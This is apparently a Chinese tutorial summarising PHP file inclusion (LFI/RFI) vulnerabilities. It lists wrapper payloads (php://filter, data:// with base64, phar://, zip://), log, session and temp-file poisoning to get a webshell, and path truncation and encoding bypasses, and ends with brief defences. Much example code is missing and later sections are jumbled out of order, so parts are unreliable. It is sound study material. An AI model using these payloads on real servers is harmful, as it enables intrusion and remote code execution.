漏洞概述:
文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及敏感信息的泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式。
产生原因:
在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
利用条件:
1、用户能够控制这个动态变量
2、include()等函数通过动态变量的方式引入需要包含的文件
在PHP中,产生文件包含漏洞的几个函数:
- include():
只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。 - require():
只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。 - include_once():
功能include()一样,区别在于当重复调用同一文件时,程序只调用一次。 - require_once():
功能require()一样,区别在于当重复调用同一文件时,程序只调用一次。
文件包含功能要实现,需要在PHP的配置文件php.ini中开启allow_url_include;如果是远程文件包含,则除此之外还需要开启allow_url_fopen。
漏洞危害:
读取敏感文件
获取webshell
任意命令执行
在某些情况下,根据LFI漏洞的性质,可以运行系统可执行文件
存在文件包含漏洞的php源码:
php.ini配置文件:
allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含
php伪协议文件包含:
File:// 访问本地文件系统
http:// 访问HTTPs网址
ftp:// 访问ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
php伪协议文件包含总结:
利用方法:
1、利用file协议执行任意文件读取:
2、利用php伪协议:php://filter
查看源代码:
php://filter
是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出base64编码后的内容,要获取真实内容的话,需要进行base64解码
?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=../sss.php
3、session文件包含:
利用条件:
session的存储位置可以获取
session中的内容可以被控制,传入恶意代码
利用思路:
通过参数name写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell
1)、通过phpinfo的信息可以获取到session的存储位置
或者我们可以猜测默认的session存放位置进行尝试。linux下默认存储在/var/lib/php/session目录下
此php会将获取到的GET型name变量的值存入到session中,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过查看响应包获取。
4、利用php伪协议:php://input
利用条件:
allow_url_include= On
php <5.0 ,allow_url_include=Off 情况下也可以用
php://input
是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交
生成一句话木马:
读取目录结构:
5、利用php伪协议:data:
利用条件:
php > 5.2
allow_url_fopen=On && allow_url_include=On
?file=data:text/plain,
?file=data:text/plain,
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
6、利用php伪协议:phar://
利用条件:
PHP>= 5.3.0
phar:// 数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压
用法格式:
?file=phar://压缩包/内部文件
注意:绝对路径或相对路径均可;压缩包只能使用zip协议压缩
使用时有两种方式:
1)、将木马文件压缩后,改为其他任意格式的文件都可以,比如改成txt文件。用zip协议将其压缩为info.zip;然后,将压缩包后缀改为png等其他格式得info.png。
在文件包含时利用方式:phar://xxx.png/xxx.php
使用绝对路径:
2)、无需修改压缩包的后缀名:
7、利用php伪协议:zip://
zip伪协议和phar协议类似(绝对路径或相对路径),但是用法不一样。 注意:txt文件被包含时也会执行文件中的PHP代码 在相对路径的表示中,符号../表示上一级目录,符合./表示本级目录 在进行文件上传时,服务器会产生该文件的临时文件,可以在临时文件被删除前使用文件包含获取webshell 一般而言,在Linux系统中,临时文件会保存在目录/tmp下,而Windows系统中会保存在C:\Windows\Temp文件夹下。我们需要关注的重点就是如何获取临时文件名,并且要在临时文件被删除前包含,否则将不能利用。在Linux系统中,临时文件名的命名通过随机函数命名,Windows只有65535个临时文件名。 PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。 同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。 文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell,这里需要利用到条件竞争 在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。 exp 项目地址:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 利用脚本实现上述过程,成功包含临时文件后,会执行 本地用虚拟机复现的时候,发现生成的临时文件并不是在默认的/tmp/目录下,用find命令遍历查找: 访问日志: 需要知道服务器日志的存储路径,且日志文件可读 利用原理: web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log 日志存储默认路径: apache+Linux日志默认路径: 或者可以通过读取相应的配置文件获取log文件路径: apache+linux 默认配置文件: 注意:如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改: 正常的php代码已经写入了 最开始kali本地复现的时候发现读取文件权限不足: 执行以下命令后复现成功: SSH log: 需要知道ssh-log的位置,且可读 ssh日志默认路径: /var/log/auth.log(默认情况下,所有用户都可读) 利用过程: 直接包含其日志文件: environ文件: 1、php以cgi方式运行,这样environ才会保持UA头 environ文件默认位置: 利用文件包含漏洞去包含proc/self/environ: 自php5.2后,php.ini默认配置下: allow_url_fopen=on 默认设置下是无法远程包含的,除非网站管理员设置了allow_url_include=on 远程文件包含绕过技巧: #号绕过: 00截断绕过: magic_quotes_gpc=off 超长文件名截断: 点号截断: 假设存在这样一个场景,想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。 那么此时如何解决? 方法就是使用“多重软连接”,这应该算PHP的一个feature。 简单描述一下,就是正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将../、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了../进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once。 但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径: 这样即可包含两次/www/config.php。 这个trick全部的原理,可以参考这篇文章:https://www.anquanke.com/post/id/213235 过滤危险字符:过滤../和./ 1、包含目标的参数过滤: 2、路径限制: 3、中间件的安全配置: 更多利用方式请参考: php代码审计之文件包含利用总结
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php。经笔者测试5.2.17 =8、利用上传点制作图片马,并上传至服务器:
copy book4yi.jpg /b + info.php /a info.jpg
对于存在包含漏洞的脚本及文件上传点所在文件夹不同的情况,可利用../翻越到上一级目录进行包含。9、临时文件包含:
')?>
,写入一个新的文件/tmp/g
,这个文件就会永久留在目标机器上日志文件包含:
利用条件:
/etc/httpd/logs/access.log
、/var/log/httpd/access.log
、var/log/apache2/access.log
、var/log/apache2/error.log
apache+win2003日志默认路径:D:\xampp\apache\logs\access.log
、D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志文件:C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志文件:%SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx
或者var/log/nginx/
,那日志目录就是在/usr/local/nginx/logs
或者var/log/nginx/access.log
下面
/etc/httpd/conf/httpd.conf
或/etc/init.d/httpd
IIS6.0+win2003 配置文件:C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config
/etc/log/apache2/access.log
,包含即可执行代码chmod 777 -R /var/log/apache2/
利用条件:
/var/log/securessh ''@192.168.107.129
利用条件:
2、environ文件存储位置已知,且有权限访问environ文件proc/self/environ
由于本地环境不满足,无法进行复现,这里借张别人的图:远程文件包含:
allow_url_include=off
所以远程包含的可能性很小
问号绕过:?file=http://172.17.82.57/info.php?
?file=http://172.17.82.57/info.php%23
对于有限制的文件包含:
利用条件:
PHP版本 < 5.3.4
php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256http://192.168.107.145/test/1.php?file=../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././info.php
php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256http://192.168.107.145/test/1.php?file=../info.php/...........................................................................................................................................................................................................................................................................................................................................................................................................................................
复现失败
编码绕过:../:%2e%2e%2f、..%2f、%2e%2e/、
..\:%2e%2e%5c、..%5c、%2e%2e\
# 二次编码绕过:
../:%252e%252e%252f
..\:%252e%252e%255c
补充:
防御方案:
配置php.ini文件
设置allow_url_fopen 和 allow_url_include为off
设置文件目录
设置白名单
PHP 文件包含漏洞姿势总结
文件包含漏洞相关知识总结参考如下:
文件包含漏洞相关知识总结
文件包含总结
web安全-文件包含漏洞
代码安全之文件包含
PHP文件包含小总结